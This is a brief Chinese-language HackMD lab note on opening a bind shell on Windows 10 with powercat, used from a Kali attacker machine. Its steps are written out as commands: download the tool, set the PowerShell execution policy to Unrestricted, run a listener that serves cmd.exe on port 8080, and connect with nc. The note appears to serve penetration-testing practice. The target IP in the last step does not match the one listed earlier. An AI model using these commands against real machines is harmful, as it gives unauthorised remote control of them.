# powercat_binding shell ###### tags: powershell ## 使用情境 - binding shell ## 環境 - KALI攻擊者 - 10.101.12.183 - Windows 10 - 10.101.11.127 ## 靶機上執行 ### 下載工具 - powershell中執行下載 ```Invoke-WebRequest -OutFile test.zip -Uri https://github.com/besimorhino/powercat/archive/refs/heads/master.zip``` - powershell中解壓縮檔案 ```Expand-Archive .\test.zip``` ### ExecutionPolicy #### 各種Policy參數介紹 - Restricted :關閉腳本檔的執行功能,這是預設的設定值。 - AllSigned :只允許執行受信任發行者簽署過的腳本檔。 - RemoteSigned :在本機電腦所撰寫的腳本檔,不需要簽署就可執行;但是從網際網路(例如:email、MSN Messenger)下載的腳本檔就必須經過受信任發行者的簽署才能執行。 - Unrestricted :任何腳本檔皆可被執行,但是於執行網際網路下載的腳本檔時,會先出現警告的提示視窗。 #### 查看Policy ``` Get-ExecutionPolicy ```  #### 設定Policy ``` Set-ExecutionPolicy Unrestricted ```  ### 執行powercat #### 匯入 ``` Import-Module .\powercat.ps1 ``` #### 查看一下能用的指令 ``` powercat -h ```  #### 建立監聽 ``` powercat -l -p 8080 -e cmd.exe -v -rep ``` ## 攻擊機上執行 ``` nc 10.101.11.27 8080 ``` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up